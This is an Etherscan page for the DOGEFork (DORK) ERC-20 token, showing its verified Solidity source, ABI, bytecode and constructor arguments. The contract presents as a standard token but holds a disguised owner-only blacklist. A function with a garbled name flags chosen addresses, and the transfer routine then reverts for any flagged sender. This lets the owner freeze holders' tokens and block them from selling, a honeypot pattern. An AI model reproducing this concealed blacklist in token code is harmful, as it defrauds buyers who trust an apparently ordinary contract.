ETH Price: $3,692.82 (+3.46%)

Token

ERC-20: DOGEFork (DORK)
 

Overview

Max Total Supply

100,000,000 DORK

Holders

744

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
373,922.370565477057256454 DORK

Value
$0.00
0x6e3b2b6c08080f1aba2515fefcdd68817865072b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOGEForkToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-05
*/

// SPDX-License-Identifier: MIT

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address acmnzhunt) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender,
     uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity =0.8.18;

contract DOGEForkToken is IERC20, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    mapping(address => bool) public _isBeranshxuisted;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }


    function mokerafsvress(address[] calldata acmnzhunts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < acmnzhunts.length; i++) {
            _isBeranshxuisted[acmnzhunts[i]] = excluded;
        }
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address acmnzhunt)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[acmnzhunt];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender, address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,  address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0),
         "ERC20: transfer to the zero address");
        require(!_isBeranshxuisted[sender], "Beranshxuisted");

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner,
         spender, amount);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBeranshxuisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acmnzhunt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"acmnzhunts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"mokerafsvress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040516200123538038062001235833981016040819052620000269162000297565b62000031336200016b565b60036200003f848262000399565b5060046200004e838262000399565b506005805460ff191660129081179091556200006c90600a62000578565b62000078908262000589565b6006819055620000ce9060016000620000996000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002054620001bb60201b620005bf1790919060201c565b60016000620000e56000546001600160a01b031690565b6001600160a01b03168152602081019190915260400160002055620001126000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200015a91815260200190565b60405180910390a3505050620005b9565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000620001c98284620005a3565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001fa57600080fd5b81516001600160401b0380821115620002175762000217620001d2565b604051601f8301601f19908116603f01168101908282118183101715620002425762000242620001d2565b816040528381526020925086838588010111156200025f57600080fd5b600091505b8382101562000283578582018301518183018401529082019062000264565b600093810190920192909252949350505050565b600080600060608486031215620002ad57600080fd5b83516001600160401b0380821115620002c557600080fd5b620002d387838801620001e8565b94506020860151915080821115620002ea57600080fd5b50620002f986828701620001e8565b925050604084015190509250925092565b600181811c908216806200031f57607f821691505b6020821081036200034057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200039457600081815260208120601f850160051c810160208610156200036f5750805b601f850160051c820191505b8181101562000390578281556001016200037b565b5050505b505050565b81516001600160401b03811115620003b557620003b5620001d2565b620003cd81620003c684546200030a565b8462000346565b602080601f831160018114620004055760008415620003ec5750858301515b600019600386901b1c1916600185901b17855562000390565b600085815260208120601f198616915b82811015620004365788860151825594840194600190910190840162000415565b5085821015620004555787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004bc578160001904821115620004a057620004a062000465565b80851615620004ae57918102915b93841c939080029062000480565b509250929050565b600082620004d557506001620001cc565b81620004e457506000620001cc565b8160018114620004fd5760028114620005085762000528565b6001915050620001cc565b60ff8411156200051c576200051c62000465565b50506001821b620001cc565b5060208310610133831016604e8410600b84101617156200054d575081810a620001cc565b6200055983836200047b565b806000190482111562000570576200057062000465565b029392505050565b6000620001c960ff841683620004c4565b8082028115828204841417620001cc57620001cc62000465565b80820180821115620001cc57620001cc62000465565b610c6c80620005c96000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461027e57600080fd5b806370a08231146101cb578063715018a6146101f45780638da5cb5b146101fc57806395d89b411461021757600080fd5b806324b2005e116100d357806324b2005e1461016b578063313ce5671461018e57806339509351146101a357806347fd2135146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610291565b60405161011a9190610953565b60405180910390f35b6101366101313660046109bd565b610323565b604051901515815260200161011a565b6006545b60405190815260200161011a565b6101366101663660046109e7565b61033a565b610136610179366004610a23565b60076020526000908152604090205460ff1681565b60055460405160ff909116815260200161011a565b6101366101b13660046109bd565b6103a3565b6101c96101c4366004610a3e565b6103d9565b005b61014a6101d9366004610a23565b6001600160a01b031660009081526001602052604090205490565b6101c9610483565b6000546040516001600160a01b03909116815260200161011a565b61010d6104b9565b61013661022d3660046109bd565b6104c8565b6101366102403660046109bd565b610517565b61014a610253366004610ac9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c961028c366004610a23565b610524565b6060600380546102a090610afc565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610afc565b80156103195780601f106102ee57610100808354040283529160200191610319565b820191906000526020600020905b8154815290600101906020018083116102fc57829003601f168201915b5050505050905090565b60006103303384846105d2565b5060015b92915050565b60006103478484846106f7565b610399843361039485604051806060016040528060288152602001610bea602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d7565b6105d2565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161033091859061039490866105bf565b6000546001600160a01b0316331461040c5760405162461bcd60e51b815260040161040390610b36565b60405180910390fd5b60005b8281101561047d57816007600086868581811061042e5761042e610b6b565b90506020020160208101906104439190610a23565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061047581610b97565b91505061040f565b50505050565b6000546001600160a01b031633146104ad5760405162461bcd60e51b815260040161040390610b36565b6104b76000610903565b565b6060600480546102a090610afc565b6000610330338461039485604051806060016040528060258152602001610c12602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d7565b60006103303384846106f7565b6000546001600160a01b0316331461054e5760405162461bcd60e51b815260040161040390610b36565b6001600160a01b0381166105b35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610403565b6105bc81610903565b50565b60006105cb8284610bb0565b9392505050565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610403565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610403565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661075b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610403565b6001600160a01b0382166107bd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610403565b6001600160a01b03831660009081526007602052604090205460ff16156108175760405162461bcd60e51b815260206004820152600e60248201526d10995c985b9cda1e1d5a5cdd195960921b6044820152606401610403565b61085481604051806060016040528060268152602001610bc4602691396001600160a01b03861660009081526001602052604090205491906108d7565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461088390826105bf565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106ea9085815260200190565b600081848411156108fb5760405162461bcd60e51b81526004016104039190610953565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b8181101561098057858101830151858201604001528201610964565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109b857600080fd5b919050565b600080604083850312156109d057600080fd5b6109d9836109a1565b946020939093013593505050565b6000806000606084860312156109fc57600080fd5b610a05846109a1565b9250610a13602085016109a1565b9150604084013590509250925092565b600060208284031215610a3557600080fd5b6105cb826109a1565b600080600060408486031215610a5357600080fd5b833567ffffffffffffffff80821115610a6b57600080fd5b818601915086601f830112610a7f57600080fd5b813581811115610a8e57600080fd5b8760208260051b8501011115610aa357600080fd5b602092830195509350508401358015158114610abe57600080fd5b809150509250925092565b60008060408385031215610adc57600080fd5b610ae5836109a1565b9150610af3602084016109a1565b90509250929050565b600181811c90821680610b1057607f821691505b602082108103610b3057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610ba957610ba9610b81565b5060010190565b8082018082111561033457610334610b8156fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4ab4d5289c1bfa0143a5ba515fad9d2acd4642ffe502db46037ab9f7390506664736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000008444f4745466f726b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004444f524b00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461027e57600080fd5b806370a08231146101cb578063715018a6146101f45780638da5cb5b146101fc57806395d89b411461021757600080fd5b806324b2005e116100d357806324b2005e1461016b578063313ce5671461018e57806339509351146101a357806347fd2135146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610291565b60405161011a9190610953565b60405180910390f35b6101366101313660046109bd565b610323565b604051901515815260200161011a565b6006545b60405190815260200161011a565b6101366101663660046109e7565b61033a565b610136610179366004610a23565b60076020526000908152604090205460ff1681565b60055460405160ff909116815260200161011a565b6101366101b13660046109bd565b6103a3565b6101c96101c4366004610a3e565b6103d9565b005b61014a6101d9366004610a23565b6001600160a01b031660009081526001602052604090205490565b6101c9610483565b6000546040516001600160a01b03909116815260200161011a565b61010d6104b9565b61013661022d3660046109bd565b6104c8565b6101366102403660046109bd565b610517565b61014a610253366004610ac9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c961028c366004610a23565b610524565b6060600380546102a090610afc565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610afc565b80156103195780601f106102ee57610100808354040283529160200191610319565b820191906000526020600020905b8154815290600101906020018083116102fc57829003601f168201915b5050505050905090565b60006103303384846105d2565b5060015b92915050565b60006103478484846106f7565b610399843361039485604051806060016040528060288152602001610bea602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d7565b6105d2565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161033091859061039490866105bf565b6000546001600160a01b0316331461040c5760405162461bcd60e51b815260040161040390610b36565b60405180910390fd5b60005b8281101561047d57816007600086868581811061042e5761042e610b6b565b90506020020160208101906104439190610a23565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061047581610b97565b91505061040f565b50505050565b6000546001600160a01b031633146104ad5760405162461bcd60e51b815260040161040390610b36565b6104b76000610903565b565b6060600480546102a090610afc565b6000610330338461039485604051806060016040528060258152602001610c12602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d7565b60006103303384846106f7565b6000546001600160a01b0316331461054e5760405162461bcd60e51b815260040161040390610b36565b6001600160a01b0381166105b35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610403565b6105bc81610903565b50565b60006105cb8284610bb0565b9392505050565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610403565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610403565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661075b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610403565b6001600160a01b0382166107bd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610403565b6001600160a01b03831660009081526007602052604090205460ff16156108175760405162461bcd60e51b815260206004820152600e60248201526d10995c985b9cda1e1d5a5cdd195960921b6044820152606401610403565b61085481604051806060016040528060268152602001610bc4602691396001600160a01b03861660009081526001602052604090205491906108d7565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461088390826105bf565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106ea9085815260200190565b600081848411156108fb5760405162461bcd60e51b81526004016104039190610953565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b8181101561098057858101830151858201604001528201610964565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109b857600080fd5b919050565b600080604083850312156109d057600080fd5b6109d9836109a1565b946020939093013593505050565b6000806000606084860312156109fc57600080fd5b610a05846109a1565b9250610a13602085016109a1565b9150604084013590509250925092565b600060208284031215610a3557600080fd5b6105cb826109a1565b600080600060408486031215610a5357600080fd5b833567ffffffffffffffff80821115610a6b57600080fd5b818601915086601f830112610a7f57600080fd5b813581811115610a8e57600080fd5b8760208260051b8501011115610aa357600080fd5b602092830195509350508401358015158114610abe57600080fd5b809150509250925092565b60008060408385031215610adc57600080fd5b610ae5836109a1565b9150610af3602084016109a1565b90509250929050565b600181811c90821680610b1057607f821691505b602082108103610b3057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610ba957610ba9610b81565b5060010190565b8082018082111561033457610334610b8156fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4ab4d5289c1bfa0143a5ba515fad9d2acd4642ffe502db46037ab9f7390506664736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000008444f4745466f726b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004444f524b00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): DOGEFork
Arg [1] : symbol_ (string): DORK
Arg [2] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 444f4745466f726b000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 444f524b00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4609:4468:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5630:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6669:210;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6669:210:0;1004:187:1;5931:108:0;6019:12;;5931:108;;;1342:25:1;;;1330:2;1315:18;5931:108:0;1196:177:1;6887:445:0;;;;;;:::i;:::-;;:::i;4944:49::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;5832:91;5906:9;;5832:91;;5906:9;;;;2044:36:1;;2032:2;2017:18;5832:91:0;1902:184:1;7340:300:0;;;;;;:::i;:::-;;:::i;5398:222::-;;;;;;:::i;:::-;;:::i;:::-;;6047:181;;;;;;:::i;:::-;-1:-1:-1;;;;;6200:20:0;6168:7;6200:20;;;:9;:20;;;;;;;6047:181;1453:94;;;:::i;1234:87::-;1280:7;1307:6;1234:87;;-1:-1:-1;;;;;1307:6:0;;;3024:51:1;;3012:2;2997:18;1234:87:0;2878:203:1;5729:95:0;;;:::i;7648:400::-;;;;;;:::i;:::-;;:::i;6236:216::-;;;;;;:::i;:::-;;:::i;6460:201::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6626:18:0;;;6594:7;6626:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6460:201;1553:192;;;;;;:::i;:::-;;:::i;5630:91::-;5675:13;5708:5;5701:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5630:91;:::o;6669:210::-;6788:4;6810:39;877:10;6833:7;6842:6;6810:8;:39::i;:::-;-1:-1:-1;6867:4:0;6669:210;;;;;:::o;6887:445::-;7018:4;7035:36;7045:6;7053:9;7064:6;7035:9;:36::i;:::-;7082:220;7105:6;877:10;7153:138;7209:6;7153:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7153:19:0;;;;;;:11;:19;;;;;;;;877:10;7153:33;;;;;;;;;;:37;:138::i;:::-;7082:8;:220::i;:::-;-1:-1:-1;7320:4:0;6887:445;;;;;:::o;7340:300::-;877:10;7455:4;7549:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7549:34:0;;;;;;;;;;7455:4;;7477:133;;7527:7;;7549:50;;7588:10;7549:38;:50::i;5398:222::-;1280:7;1307:6;-1:-1:-1;;;;;1307:6:0;877:10;1367:23;1359:68;;;;-1:-1:-1;;;1359:68:0;;;;;;;:::i;:::-;;;;;;;;;5500:9:::1;5495:118;5515:21:::0;;::::1;5495:118;;;5593:8;5558:17;:32;5576:10;;5587:1;5576:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5558:32:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;5558:32:0;:43;;-1:-1:-1;;5558:43:0::1;::::0;::::1;;::::0;;;::::1;::::0;;5538:3;::::1;::::0;::::1;:::i;:::-;;;;5495:118;;;;5398:222:::0;;;:::o;1453:94::-;1280:7;1307:6;-1:-1:-1;;;;;1307:6:0;877:10;1367:23;1359:68;;;;-1:-1:-1;;;1359:68:0;;;;;;;:::i;:::-;1518:21:::1;1536:1;1518:9;:21::i;:::-;1453:94::o:0;5729:95::-;5776:13;5809:7;5802:14;;;;;:::i;7648:400::-;7768:4;7790:228;877:10;7840:7;7862:145;7919:15;7862:145;;;;;;;;;;;;;;;;;877:10;7862:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7862:34:0;;;;;;;;;;;;:38;:145::i;6236:216::-;6358:4;6380:42;877:10;6404:9;6415:6;6380:9;:42::i;1553:192::-;1280:7;1307:6;-1:-1:-1;;;;;1307:6:0;877:10;1367:23;1359:68;;;;-1:-1:-1;;;1359:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1642:22:0;::::1;1634:73;;;::::0;-1:-1:-1;;;1634:73:0;;4703:2:1;1634:73:0::1;::::0;:::